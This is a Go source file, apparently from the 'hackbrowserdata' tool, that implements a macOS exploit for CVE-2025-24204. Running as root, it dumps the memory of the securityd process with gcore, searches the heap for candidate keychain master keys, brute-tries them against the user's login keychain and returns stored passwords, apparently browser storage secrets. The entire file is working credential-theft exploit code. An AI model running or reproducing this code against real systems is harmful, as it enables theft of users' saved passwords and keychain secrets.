//go:build darwin package gcoredump // CVE-2025-24204 // Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain // https://support.apple.com/en-us/122373 import ( "debug/macho" "encoding/binary" "errors" "fmt" "os" "os/exec" "path/filepath" "strconv" "strings" "time" "unsafe" "golang.org/x/sys/unix" "github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/utils/chainbreaker" ) var ( homeDir, _ = os.UserHomeDir() LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db" ) func GetMacOSVersion() string { v, err := unix.Sysctl("kern.osproductversion") if err == nil { return v } return "" } func FindProcessByName(name string, forceRoot bool) (int, error) { buf, err := unix.SysctlRaw("kern.proc.all") if err != nil { return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err) } kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{})) if len(buf)%kinfoSize != 0 { return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length") } count := len(buf) / kinfoSize for i := 0; i < count; i++ { proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize])) // P_comm is [16]byte on Darwin (in newer x/sys/unix versions) pname := byteSliceToString(proc.Proc.P_comm[:]) if pname == name { // Note: P_ppid is in Eproc on some versions, but usually in ExternProc. // In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid. // If P_ppid is missing, we can rely on P_ruid. if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 { return int(proc.Proc.P_pid), nil } } } return 0, fmt.Errorf("securityd process not found") } type addressRange struct { start uint64 end uint64 } func DecryptKeychain(storagename string) (string, error) { if os.Geteuid() != 0 { return "", errors.New("requires root privileges") } // find securityd PID pid, err := FindProcessByName("securityd", true) if err != nil { return "", fmt.Errorf("failed to find securityd pid: %w", err) } corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano())) defer os.Remove(corePath) // dump securityd memory: // gcore -d -s -v -o core_path PID cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid)) if err := cmd.Run(); err != nil { return "", fmt.Errorf("failed to dump securityd memory: %w", err) } // find MALLOC_SMALL regions regions, err := findMallocSmallRegions(pid) if err != nil { return "", fmt.Errorf("failed to find malloc small regions: %w", err) } // open core dump cmf, err := macho.Open(corePath) if err != nil { return "", fmt.Errorf("failed to open core dump: %w", err) } defer cmf.Close() // scan regions var candidates []string seen := make(map[string]struct{}) for _, region := range regions { // read region data data, vaddr, err := getMallocSmallRegionData(cmf, region) if err != nil { // Region might not be in core dump or other error, skip continue } // Search for pattern // 0x18 (8 bytes) followed by pointer (8 bytes) for i := 0; i < len(data)-16; i += 8 { val := binary.LittleEndian.Uint64(data[i : i+8]) if val == 0x18 { ptr := binary.LittleEndian.Uint64(data[i+8 : i+16]) if ptr >= region.start && ptr <= region.end { offset := ptr - vaddr if offset+0x18 <= uint64(len(data)) { masterKey := make([]byte, 0x18) copy(masterKey, data[offset:offset+0x18]) keyStr := fmt.Sprintf("%x", masterKey) if _, found := seen[keyStr]; !found { candidates = append(candidates, keyStr) seen[keyStr] = struct{}{} log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr) } } } } } } // fuzz master key candidates for _, candidate := range candidates { kc, err := chainbreaker.New(LoginKeychainPath, candidate) if err != nil { log.Debugf("Failed to unlock keychain: %v", err) continue } records, err := kc.DumpGenericPasswords() if err != nil { log.Debugf("Failed to unlock keychain: %v", err) continue } for _, rec := range records { if rec.Account == storagename { // TODO decode base64 password if rec.PasswordBase64 { } return rec.Password, nil } } } return "", nil } func findMallocSmallRegions(pid int) ([]addressRange, error) { cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid)) output, err := cmd.Output() if err != nil { return nil, err } var regions []addressRange lines := strings.Split(string(output), "\n") for _, line := range lines { line = strings.TrimSpace(line) if strings.HasPrefix(line, "MALLOC_SMALL") { parts := strings.Fields(line) if len(parts) < 2 { continue } rangeStr := parts[1] rangeParts := strings.Split(rangeStr, "-") if len(rangeParts) != 2 { continue } start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64) if err != nil { continue } end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64) if err != nil { continue } regions = append(regions, addressRange{start: start, end: end}) } } return regions, nil } func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) { for _, seg := range f.Loads { if s, ok := seg.(*macho.Segment); ok { if s.Addr == region.start && s.Addr+s.Memsz == region.end { data := make([]byte, s.Filesz) _, err := s.ReadAt(data, 0) if err != nil { return nil, 0, err } return data, s.Addr, nil } } } return nil, 0, fmt.Errorf("region not found in core dump") } func byteSliceToString(s []byte) string { for i, v := range s { if v == 0 { return string(s[:i]) } } return string(s) }